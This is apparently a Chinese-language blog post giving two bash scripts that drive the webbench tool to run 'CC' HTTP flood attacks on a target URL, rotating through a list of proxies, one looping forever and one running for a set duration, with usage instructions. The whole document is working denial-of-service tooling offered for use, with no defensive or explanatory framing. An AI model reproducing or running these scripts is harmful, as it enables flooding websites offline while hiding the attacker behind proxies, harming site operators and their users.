用Bash控制webbench进行CC
前题:请自行安装webbench
样式一:
1 #!/bin/bash 2 #define proxy_file 3 #define target 4 #define proxy_ip 5 #define proxy_port 6 #define webbench_address 7 webbench_address='/usr/local/bin/webbench' 8 proxy_file=$1; 9 target=$2; 10 echo Start successful! Please put it into background. 11 while true; do 12 cat $proxy_file|while read line; do 13 proxy_ip=$(echo $line|awk '{print $1}'); 14 proxy_port=$(echo $line|awk '{print $2}'); 15 $webbench_address -f -p $proxy_ip:$proxy_port -c 5 $target>/dev/null 2>$1 & 16 $webbench_address -p $proxy_ip:$proxy_port -c 5 $target>/dev/null 2>$1 & 17 done; 18 done; 19 exit 0;
用法: 脚本名 proxy文件 目标URL
proxy文件格式:每行两列,第一列为ip,第二列为port
样式二:
#!/bin/bash #define proxy_file #define target #define webbench_address #define time #define proxy #define report_file report_file=/dev/null webbench_address='/usr/local/bin/webbench' proxy_file=$1; time=$2; target=$3; echo Start successful! Please put it into background. cat $proxy_file|while read line; do proxy=$(echo $line|awk '{printf("%s:%s",$1,$2);}'); $webbench_address -f -p $proxy -c 5 -t $time $target >>$report_file 2>>$report_file & $webbench_address -p $proxy -c 5 -t $time $target >>$report_file 2>>$report_file & done; exit 0;
用法:脚本名 proxy文件 持续时间 目标URL
proxy文件格式:每行两列,第一列为ip,第二列为port
持续时间:纯数字,单位是秒